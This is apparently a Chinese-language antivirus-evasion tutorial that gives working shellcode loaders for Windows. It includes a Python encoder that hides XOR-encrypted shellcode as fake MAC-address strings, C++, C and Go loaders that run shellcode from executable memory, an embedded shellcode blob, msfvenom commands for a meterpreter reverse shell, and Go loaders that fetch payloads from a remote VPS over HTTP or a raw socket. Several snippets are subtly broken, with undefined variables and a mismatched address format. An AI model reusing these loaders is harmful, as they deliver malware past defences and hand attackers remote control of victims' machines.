MAC 地址每个 XX 是 1 字节(8 bit),一整组 MAC 地址表示 6 字节(48 bit)数据。 格式如下:

Text Only
XX-XX-XX-XX-XX-XX   或   XX:XX:XX:XX:XX:XX

思路

1、每 6 字节 shellcode → 生成一条伪 MAC 地址字符串,使用 - 或 : 分隔;

2、程序运行时再逐条解析字符串还原为原始二进制数据。

  • 转换脚本
Python
import argparse


# ========== 配置项 ==========
xor_key = b'kun'                           # XOR 密钥(必须与 C++ 保持一致)
input_file = "payload.bin"              # 原始 shellcode 文件(raw 格式)
group_size = 6                             # MAC 地址格式为 6 字节
# ============================


def xor_encrypt(data, key):
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])


def pad_data(data, block_size):
    pad_len = block_size - (len(data) % block_size)
    if pad_len != block_size:
        data += b'\x90' * pad_len  # 使用 NOP 填充
    return data


def bytes_to_mac(b6):
    return "-".join(f"{b:02X}" for b in b6)


def parse_args():
    parser = argparse.ArgumentParser(description="生成 MACShell[] 数组")
    parser.add_argument("-f", "--file", default=input_file,
                        help="原始 shellcode 文件")
    parser.add_argument("-k", "--key", default=xor_key.decode(),
                        help="XOR 密钥")
    parser.add_argument("-g", "--group_size", type=int, default=group_size,
                        help="MAC 地址分组大小")
    return parser.parse_args()


def main():
    with open(input_file, "rb") as f:
        raw = f.read()

    print(f"[+] 原始 shellcode 大小: {len(raw)} 字节")

    encrypted = xor_encrypt(raw, xor_key)
    padded = pad_data(encrypted, group_size)

    mac_blocks = [bytes_to_mac(padded[i:i+group_size]) for i in range(0, len(padded), group_size)]  # noqa

    print("\n[+] 生成的 MACShell[]:\n")
    print("const char* MACShell[] = {")
    for i, mac in enumerate(mac_blocks):
        print(f'    "{mac}",')
    print("};")
    print(f"#define ElementsNumber {len(mac_blocks)}")
    print(f"#define SizeOfShellcode {len(padded)}")


if __name__ == "__main__":
    main()
  • shellcode

C++

C++
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

// 伪装 shellcode,每段 6 字节
const char* MACShell[] = {
    //自己的payload
};
#define ElementsNumber 149
#define SizeOfShellcode 894

unsigned char xor_key[] = { 'k','u','n' };
const int key_len = sizeof(xor_key);

// 解码 MAC 表达的 shellcode(密文)
BOOL DecodeMACFuscation(const char* MAC[], PVOID LpBaseAddress) {
    PCSTR Terminator = NULL;
    NTSTATUS STATUS;
    int offset = 0;

    for (int i = 0; i < ElementsNumber; i++) {
        PVOID dest = (PVOID)((ULONG_PTR)LpBaseAddress + offset);
        STATUS = RtlEthernetStringToAddressA(MAC[i], &Terminator, (DL_EUI48*)dest);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] Failed to decode: %s (Status: 0x%X)\n", MAC[i], STATUS);
            return FALSE;
        }
        offset += 6;
    }
    return TRUE;
}

// XOR 解密(在 trampoline 内调用)
void XorDecrypt(PBYTE buffer, SIZE_T size) {
    for (SIZE_T i = 0; i < size; ++i) {
        buffer[i] ^= xor_key[i % key_len];
    }
}

// 跳板线程函数:解密 → 调用 → 清除
DWORD WINAPI ShellcodeRunner(LPVOID lpParam) {
    struct Args {
        PBYTE buffer;
        SIZE_T size;
    };
    Args* args = (Args*)lpParam;
    PBYTE code = args->buffer;
    SIZE_T size = args->size;

    XorDecrypt(code, size);
    ((void(*)())code)();
    SecureZeroMemory(code, size);

    return 0;
}

int main() {
    // 分配内存
    PBYTE shellcodeMem = (PBYTE)VirtualAlloc(NULL, SizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!shellcodeMem) {
        printf("[!] VirtualAlloc failed: %d\n", GetLastError());
        return -1;
    }

    // 解码 MACShell → 写入内存
    if (!DecodeMACFuscation(MACShell, shellcodeMem)) return -1;

    // 封装参数
    struct Args {
        PBYTE buffer;
        SIZE_T size;
    } *args = new Args{ shellcodeMem, SizeOfShellcode };

    // 启动 trampoline 线程
    HANDLE hThread = CreateThread(NULL, 0, ShellcodeRunner, args, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    VirtualFree(shellcodeMem, 0, MEM_RELEASE);
    delete args;

    return 0;
}
  • golang
Go
package main

import (
    "syscall"
    "unsafe"
    "fmt"
    "strings"
)

// ==============================
// 配置区
// ==============================

const (
    ElementsNumber  = 149
    SizeOfShellcode = 894
)

// 替换为你的 MAC 地址 payload
var MACShell = []string{
    // 示例(请替换):
    // "AA:BB:CC:DD:EE:FF",
    // "11:22:33:44:55:66",
    // ...
    // 共 149 个
}

var xorKey = []byte{'k', 'u', 'n'}

// ==============================
// Windows API 导入
// ==============================

var (
    kernel32 = syscall.NewLazyDLL("kernel32.dll")

    procVirtualAlloc           = kernel32.NewProc("VirtualAlloc")
    procVirtualFree            = kernel32.NewProc("VirtualFree")
    procCreateThread           = kernel32.NewProc("CreateThread")
    procWaitForSingleObject    = kernel32.NewProc("WaitForSingleObject")
    procSecureZeroMemory       = kernel32.NewProc("RtlSecureZeroMemory")
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
    INFINITE               = 0xFFFFFFFF
)

// ==============================
// 工具函数:模拟 RtlEthernetStringToAddressA
// ==============================

// 将 MAC 字符串(如 AA:BB:CC:DD:EE:FF)转为 6 字节
func parseMAC(macStr string) ([]byte, bool) {
    macStr = strings.TrimSpace(macStr)
    parts := strings.Split(macStr, ":")
    if len(parts) != 6 {
        return nil, false
    }

    var addr [6]byte
    for i, part := range parts {
        if len(part) != 2 {
            return nil, false
        }
        b1, err1 := hexChar(part[0])
        b2, err2 := hexChar(part[1])
        if err1 != nil || err2 != nil {
            return nil, false
        }
        addr[i] = (b1 << 4) | b2
    }
    return addr[:], true
}

// 十六进制字符转数值
func hexChar(c byte) (byte, error) {
    switch {
    case c >= '0' && c <= '9':
        return c - '0', nil
    case c >= 'a' && c <= 'f':
        return c - 'a' + 10, nil
    case c >= 'A' && c <= 'F':
        return c - 'A' + 10, nil
    default:
        return 0, fmt.Errorf("invalid hex")
    }
}

// ==============================
// 解码 MAC 混淆 shellcode
// ==============================

func DecodeMACFuscation(macList []string, output []byte) bool {
    if len(output) < SizeOfShellcode {
        return false
    }

    offset := 0
    for i, mac := range macList {
        if i >= ElementsNumber {
            break
        }
        bytes, ok := parseMAC(mac)
        if !ok {
            fmt.Printf("[!] Failed to decode MAC: %s\n", mac)
            return false
        }
        copy(output[offset:], bytes)
        offset += 6
    }
    return true
}

// ==============================
// XOR 解密
// ==============================

func xorDecrypt(data []byte, key []byte) {
    for i := range data {
        data[i] ^= key[i%len(key)]
    }
}

// ==============================
// 安全清零内存
// ==============================

func secureZeroMemory(ptr unsafe.Pointer, size uintptr) {
    if ptr == nil {
        return
    }
    slice := unsafe.Slice((*byte)(ptr), size)
    for i := range slice {
        slice[i] = 0
    }
}

// ==============================
// 跳板线程模拟:解密 → 执行 → 清理
// ==============================

func shellcodeRunner(shellcodePtr unsafe.Pointer, size int) {
    shellcode := unsafe.Slice((*byte)(shellcodePtr), size)

    // 1) XOR 解密
    xorDecrypt(shellcode, xorKey)

    // 2) 转为函数并执行
    fn := *(*func())(unsafe.Pointer(&shellcodePtr))
    fn()

    // 3) 清理
    secureZeroMemory(shellcodePtr, uintptr(size))
}

// ==============================
// 主函数
// ==============================

func main() {
    // 1. 分配 RWX 内存
    virAlloc, _, err := procVirtualAlloc.Call(
        0,
        SizeOfShellcode,
        MEM_COMMIT|MEM_RESERVE,
        PAGE_EXECUTE_READWRITE,
    )
    if virAlloc == 0 {
        fmt.Printf("[!] VirtualAlloc failed\n")
        return
    }
    baseAddr := unsafe.Pointer(virAlloc)

    // 创建切片访问内存
    buffer := unsafe.Slice((*byte)(baseAddr), SizeOfShellcode)

    // 2. 解码 MAC 混淆数据
    if !DecodeMACFuscation(MACShell, buffer) {
        fmt.Printf("[!] MAC 解码失败\n")
        procVirtualFree.Call(virAlloc, 0, 0x8000) // MEM_RELEASE
        return
    }

    fmt.Printf("[+] MAC 解码完成 (%d 字节)\n", SizeOfShellcode)

    // 3. 创建线程执行跳板(模拟 C++ 的 ShellcodeRunner)
    hThread, _, err := procCreateThread.Call(
        0,                           // lpThreadAttributes
        0,                           // dwStackSize
        virAlloc,                    // lpStartAddress (跳板入口)
        uintptr(unsafe.Pointer(&baseAddr)), // lpParameter (传入 shellcode 地址)
        0,                           // dwCreationFlags
        0,                           // lpThreadId
    )
    if hThread == 0 {
        fmt.Printf("[!] CreateThread failed\n")
        procVirtualFree.Call(virAlloc, 0, 0x8000)
        return
    }

    fmt.Printf("[+] Shellcode 执行中...\n")
    procWaitForSingleObject.Call(hThread, INFINITE)

    // 4. 清理
    secureZeroMemory(baseAddr, SizeOfShellcode)
    procVirtualFree.Call(virAlloc, 0, 0x8000) // MEM_RELEASE

    fmt.Printf("[*] 执行完成并清理\n")
}

sgn混淆

sgn是一个二进制编码器,免杀效果还不错,他混淆过后的shellcode是可以直接运行,不用解密的。

github地址:https://github.com/EgeBalci/sgn

先把shellcode生成出来,用下面代码转换成bin文件

C
#include <stdio.h>

unsigned char buf[] = "";

void main()
{
    FILE* fp = fopen("D:\\bypassav\\beacon\\c_bin.bin","wb");
    fwrite(buf,sizeof(buf),1,fp);
    fclose(fp);
}

使用sgn混淆后

img

img

把bin文件的十六进制文件复制到一个txt文件,并用notepad或者python处理成这种格式

img

也就是把\x替换掉和换行替换掉

C shellcode loader

指针执行

C
#include <iostream>
#include <Windows.h>

// 指定链接器选项,修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")

// shellcode
unsigned char buf[] =
{
};

int main()
{
    // 将hexData转换为函数指针并执行
    ((void(*)(void)) & buf)();

    return 0;
}

这是最基础的shellcode loader,将shellcode替换到代码中

C
#include <iostream>
#include <Windows.h>

// 指定链接器选项,修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")

// shellcode
unsigned char buf[] =
"\xb8\xaa\x43\x23\x10\xdb\xc8\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x59\x83\xc5\x04\x31\x45\x10\x03\x45\x10\x48\xb6\xdf"
"\xf8\x03\x39\x20\xf9\x7b\x0b\xf2\x70\x9e\x0f\x79\xd0\x50"
"\x5b\x2f\xd9\x1b\x09\xc4\x6a\x69\x86\xeb\xdb\xc7\xf0\xc2"
"\xdc\xe6\x3c\x88\x1f\x69\xc1\xd3\x73\x49\xf8\x1b\x86\x88"
"\x3d\xea\xec\x65\x93\xba\x85\x2b\x04\xce\xd8\xf7\x25\x00"
"\x57\x47\x5e\x25\xa8\x33\xd2\x24\xf9\x30\xa2\x3e\x72\x1e"
"\x13\x6f\x85\x4d\xd6\x46\xf1\x4d\x90\xd3\xce\x26\x23\x32"
"\x1f\xc7\x15\x7a\xa1\xf8\x5b\xd6\x23\xc1\x5c\xc6\x51\x39"
"\x9f\x7b\x62\xfa\xdd\xa7\xe7\x1c\x45\x23\x5f\xf8\x77\xe0"
"\x06\x8b\x74\x4d\x4c\xd3\x98\x50\x81\x68\xa4\xd9\x24\xbe"
"\x2c\x99\x02\x1a\x74\x79\x2a\x3b\xd0\x2c\x53\x5b\xbc\x91"
"\xf1\x10\x2f\xc7\x86\xd9\xaf\xe8\xda\x4d\x63\x25\xe5\x8d"
"\xeb\x3e\x96\xbf\xb4\x94\x30\xf3\x3d\x33\xc6\x82\x2a\xc4"
"\x18\x2c\x3a\x3a\x99\x4c\x12\xf9\xcd\x1c\x0c\x28\x6e\xf7"
"\xcc\xd5\xbb\x6d\xc7\x41\xe8\x67\xad\x8d\x98\x85\x51\xa7"
"\x45\x00\xb7\xe7\x25\x42\x68\x48\x96\x22\xd8\x20\xfc\xad"
"\x07\x50\xff\x64\x20\xfb\x10\xd0\x18\x94\x89\x79\xd2\x05"
"\x55\x54\x9e\x06\xdd\x5c\x5e\xc8\x16\x15\x4c\x3d\x41\xd5"
"\x8c\xbe\xe4\xd5\xe6\xba\xae\x82\x9e\xc0\x97\xe4\x00\x3a"
"\xf2\x77\x46\xc4\x83\x41\x3c\xf3\x11\xed\x2a\xfc\xf5\xed"
"\xaa\xaa\x9f\xed\xc2\x0a\xc4\xbe\xf7\x54\xd1\xd3\xab\xc0"
"\xda\x85\x18\x42\xb3\x2b\x46\xa4\x1c\xd4\xad\xb6\x5b\x2a"
"\x33\x91\xc3\x42\xcb\xa1\xf3\x92\xa1\x21\xa4\xfa\x3e\x0d"
"\x4b\xca\xbf\x84\x04\x42\x35\x49\xe6\xf3\x4a\x40\xa6\xad"
"\x4b\x67\x73\x5e\x31\x08\x84\x9f\xc6\x00\xe1\xa0\xc6\x2c"
"\x17\x9d\x10\x15\x6d\xe0\xa0\x22\x7e\x57\x84\x03\x15\x97"
"\x9a\x54\x3c";

int main()
{
    // 将hexData转换为函数指针并执行
    ((void(*)(void)) & buf)();

    return 0;
}

在某些情况下可能会反弹不到msf,原因如下:

当代的windows(64位的)都有一个叫做DEP数据执行保护的安全机制,在编写此类的loader时需要手动修改他,可以使用VirtualProtect

C
BOOL VirtualProtect(
  LPVOID lpAddress,          // 指向要修改的内存区域的起始地址
  SIZE_T dwSize,             // 需要修改的内存区域大小,以字节为单位
  DWORD flNewProtect,        // 新的保护属性(如只读、读写、可执行等)
  PDWORD lpflOldProtect      // 保存旧的保护属性的指针
);
int main()
{
    VirtualProtect(hexData, sizeof(hexData), PAGE_EXECUTE_READWRITE, NULL);
    // 将hexData转换为函数指针并执行
    ((void(*)(void)) & hexData)();

    return 0;
}
C
#include <iostream>
#include <Windows.h>

// 指定链接器选项,修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")

// shellcode
unsigned char buf[] =
"\xb8\xaa\x43\x23\x10\xdb\xc8\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x59\x83\xc5\x04\x31\x45\x10\x03\x45\x10\x48\xb6\xdf"
"\xf8\x03\x39\x20\xf9\x7b\x0b\xf2\x70\x9e\x0f\x79\xd0\x50"
"\x5b\x2f\xd9\x1b\x09\xc4\x6a\x69\x86\xeb\xdb\xc7\xf0\xc2"
"\xdc\xe6\x3c\x88\x1f\x69\xc1\xd3\x73\x49\xf8\x1b\x86\x88"
"\x3d\xea\xec\x65\x93\xba\x85\x2b\x04\xce\xd8\xf7\x25\x00"
"\x57\x47\x5e\x25\xa8\x33\xd2\x24\xf9\x30\xa2\x3e\x72\x1e"
"\x13\x6f\x85\x4d\xd6\x46\xf1\x4d\x90\xd3\xce\x26\x23\x32"
"\x1f\xc7\x15\x7a\xa1\xf8\x5b\xd6\x23\xc1\x5c\xc6\x51\x39"
"\x9f\x7b\x62\xfa\xdd\xa7\xe7\x1c\x45\x23\x5f\xf8\x77\xe0"
"\x06\x8b\x74\x4d\x4c\xd3\x98\x50\x81\x68\xa4\xd9\x24\xbe"
"\x2c\x99\x02\x1a\x74\x79\x2a\x3b\xd0\x2c\x53\x5b\xbc\x91"
"\xf1\x10\x2f\xc7\x86\xd9\xaf\xe8\xda\x4d\x63\x25\xe5\x8d"
"\xeb\x3e\x96\xbf\xb4\x94\x30\xf3\x3d\x33\xc6\x82\x2a\xc4"
"\x18\x2c\x3a\x3a\x99\x4c\x12\xf9\xcd\x1c\x0c\x28\x6e\xf7"
"\xcc\xd5\xbb\x6d\xc7\x41\xe8\x67\xad\x8d\x98\x85\x51\xa7"
"\x45\x00\xb7\xe7\x25\x42\x68\x48\x96\x22\xd8\x20\xfc\xad"
"\x07\x50\xff\x64\x20\xfb\x10\xd0\x18\x94\x89\x79\xd2\x05"
"\x55\x54\x9e\x06\xdd\x5c\x5e\xc8\x16\x15\x4c\x3d\x41\xd5"
"\x8c\xbe\xe4\xd5\xe6\xba\xae\x82\x9e\xc0\x97\xe4\x00\x3a"
"\xf2\x77\x46\xc4\x83\x41\x3c\xf3\x11\xed\x2a\xfc\xf5\xed"
"\xaa\xaa\x9f\xed\xc2\x0a\xc4\xbe\xf7\x54\xd1\xd3\xab\xc0"
"\xda\x85\x18\x42\xb3\x2b\x46\xa4\x1c\xd4\xad\xb6\x5b\x2a"
"\x33\x91\xc3\x42\xcb\xa1\xf3\x92\xa1\x21\xa4\xfa\x3e\x0d"
"\x4b\xca\xbf\x84\x04\x42\x35\x49\xe6\xf3\x4a\x40\xa6\xad"
"\x4b\x67\x73\x5e\x31\x08\x84\x9f\xc6\x00\xe1\xa0\xc6\x2c"
"\x17\x9d\x10\x15\x6d\xe0\xa0\x22\x7e\x57\x84\x03\x15\x97"
"\x9a\x54\x3c";

BOOL VirtualProtect(
  LPVOID lpAddress,          // 指向要修改的内存区域的起始地址
  SIZE_T dwSize,             // 需要修改的内存区域大小,以字节为单位
  DWORD flNewProtect,        // 新的保护属性(如只读、读写、可执行等)
  PDWORD lpflOldProtect      // 保存旧的保护属性的指针
);

int main()
{
    VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL);
    // 将hexData转换为函数指针并执行
    ((void(*)(void)) & buf)();

    return 0;
}

动态分配

C
#include <stdio.h>
#include <windows.h>
unsigned char buf[] =
"\xb8\xaa\x43\x23\x10\xdb\xc8\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x59\x83\xc5\x04\x31\x45\x10\x03\x45\x10\x48\xb6\xdf"
"\xf8\x03\x39\x20\xf9\x7b\x0b\xf2\x70\x9e\x0f\x79\xd0\x50"
"\x5b\x2f\xd9\x1b\x09\xc4\x6a\x69\x86\xeb\xdb\xc7\xf0\xc2"
"\xdc\xe6\x3c\x88\x1f\x69\xc1\xd3\x73\x49\xf8\x1b\x86\x88"
"\x3d\xea\xec\x65\x93\xba\x85\x2b\x04\xce\xd8\xf7\x25\x00"
"\x57\x47\x5e\x25\xa8\x33\xd2\x24\xf9\x30\xa2\x3e\x72\x1e"
"\x13\x6f\x85\x4d\xd6\x46\xf1\x4d\x90\xd3\xce\x26\x23\x32"
"\x1f\xc7\x15\x7a\xa1\xf8\x5b\xd6\x23\xc1\x5c\xc6\x51\x39"
"\x9f\x7b\x62\xfa\xdd\xa7\xe7\x1c\x45\x23\x5f\xf8\x77\xe0"
"\x06\x8b\x74\x4d\x4c\xd3\x98\x50\x81\x68\xa4\xd9\x24\xbe"
"\x2c\x99\x02\x1a\x74\x79\x2a\x3b\xd0\x2c\x53\x5b\xbc\x91"
"\xf1\x10\x2f\xc7\x86\xd9\xaf\xe8\xda\x4d\x63\x25\xe5\x8d"
"\xeb\x3e\x96\xbf\xb4\x94\x30\xf3\x3d\x33\xc6\x82\x2a\xc4"
"\x18\x2c\x3a\x3a\x99\x4c\x12\xf9\xcd\x1c\x0c\x28\x6e\xf7"
"\xcc\xd5\xbb\x6d\xc7\x41\xe8\x67\xad\x8d\x98\x85\x51\xa7"
"\x45\x00\xb7\xe7\x25\x42\x68\x48\x96\x22\xd8\x20\xfc\xad"
"\x07\x50\xff\x64\x20\xfb\x10\xd0\x18\x94\x89\x79\xd2\x05"
"\x55\x54\x9e\x06\xdd\x5c\x5e\xc8\x16\x15\x4c\x3d\x41\xd5"
"\x8c\xbe\xe4\xd5\xe6\xba\xae\x82\x9e\xc0\x97\xe4\x00\x3a"
"\xf2\x77\x46\xc4\x83\x41\x3c\xf3\x11\xed\x2a\xfc\xf5\xed"
"\xaa\xaa\x9f\xed\xc2\x0a\xc4\xbe\xf7\x54\xd1\xd3\xab\xc0"
"\xda\x85\x18\x42\xb3\x2b\x46\xa4\x1c\xd4\xad\xb6\x5b\x2a"
"\x33\x91\xc3\x42\xcb\xa1\xf3\x92\xa1\x21\xa4\xfa\x3e\x0d"
"\x4b\xca\xbf\x84\x04\x42\x35\x49\xe6\xf3\x4a\x40\xa6\xad"
"\x4b\x67\x73\x5e\x31\x08\x84\x9f\xc6\x00\xe1\xa0\xc6\x2c"
"\x17\x9d\x10\x15\x6d\xe0\xa0\x22\x7e\x57\x84\x03\x15\x97"
"\x9a\x54\x3c";

int main()
{
    PVOID Memory;
    Memory = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    //动态分配虚地址空间
    memcpy(Memory,shellcod,sizeof(shellcode));
    //复制内存内容
    ((void(*)())Memory)();
}

可以看到成功反弹到msf

Golang shellcode loader

shellcode分离加载

通过文件加载

Bash
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<ip> lport=<port> PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=test -f raw -o shellcode_raw.txt

# hex
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<ip> lport=<port> PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=test -f hex -o shellcode_hex.txt

这里以shellcode_hex.txt为例

Go
package main

import (
    "encoding/hex"
    "fmt"
    "os"
    "syscall"
    "golang.org/x/sys/windows"
    "unsafe"
)

func main() {
    // Read the shellcode from the file
    data, err := os.ReadFile("shellcode_hex.txt")
    if err != nil {
        fmt.Println("Error reading file:", err)
        return
    }

    // Decode the hex string to bytes
    shellcode, err := hex.DecodeString(string(data))
    if err != nil {
        fmt.Println("Error decoding hex string:", err)
        return
    }

    // Allocate memory for the shellcode
    addr, err := windows.VirtualAlloc(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if err != nil {
        fmt.Println("Error allocating memory:", err)
        return
    }

    // Copy the shellcode to the allocated memory
    copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(shellcode)], shellcode)

    // Create a function pointer to the shellcode
    shellcodeFunc := unsafe.Pointer(addr)
    syscall.SyscallN(uintptr(shellcodeFunc), 0, 0, 0, 0)
}

通过VPS加载

http加载
Go
package main

import (
    "encoding/hex"
    "fmt"
    "io"
    "net/http"
    "syscall"
    "unsafe"

    "golang.org/x/sys/windows"
)

func main() {
    // type your vps ip
    remote_shellcode := "http://xxxx/shellcode_hex.txt"
    // Read the shellcode from the remote server
    resp, err := http.Get(remote_shellcode)
    if err != nil {
        fmt.Println("Error fetching file:", err)
        return
    }
    defer resp.Body.Close()

    data, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response body:", err)
        return
    }

    // Decode the hex string to bytes
    shellcode, err := hex.DecodeString(string(data))
    if err != nil {
        fmt.Println("Error decoding hex string:", err)
        return
    }

    // Allocate memory for the shellcode
    addr, err := windows.VirtualAlloc(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if err != nil {
        fmt.Println("Error allocating memory:", err)
        return
    }

    // Copy the shellcode to the allocated memory
    copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(shellcode)], shellcode)

    // Create a function pointer to the shellcode
    shellcodeFunc := unsafe.Pointer(addr)
    syscall.SyscallN(uintptr(shellcodeFunc), 0, 0, 0, 0)
}

socket加载
Go
package main

import (
    "bytes"
    "encoding/hex"
    "fmt"
    "io"
    "net"
    "syscall"
    "unsafe"

    "golang.org/x/sys/windows"
)

func main() {
    # type your vps ip and port
    serverAddress := "x.x.x.x:xxx"
    // Connect to the server using a socket
    conn, err := net.Dial("tcp", serverAddress)
    if err != nil {
        fmt.Println("Error connecting to server:", err)
        return
    }
    defer conn.Close()

    // Request the shellcode file
    _, err = conn.Write([]byte("GET /shellcode_hex.txt HTTP/1.1\r\nHost: 47.108.171.108\r\n\r\n"))
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }

    // Read the response
    data, err := io.ReadAll(conn)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }

    // Extract the body from the HTTP response
    bodyStart := bytes.Index(data, []byte("\r\n\r\n")) + 4
    if bodyStart == -1 {
        fmt.Println("Invalid HTTP response")
        return
    }
    body := data[bodyStart:]

    // Decode the hex string to bytes
    shellcode, err := hex.DecodeString(string(body))
    if err != nil {
        fmt.Println("Error decoding hex string:", err)
        return
    }

    // Allocate memory for the shellcode
    addr, err := windows.VirtualAlloc(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if err != nil {
        fmt.Println("Error allocating memory:", err)
        return
    }

    // Copy the shellcode to the allocated memory
    copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(shellcode)], shellcode)

    // Create a function pointer to the shellcode
    shellcodeFunc := unsafe.Pointer(addr)
    syscall.SyscallN(uintptr(shellcodeFunc), 0, 0, 0, 0)
}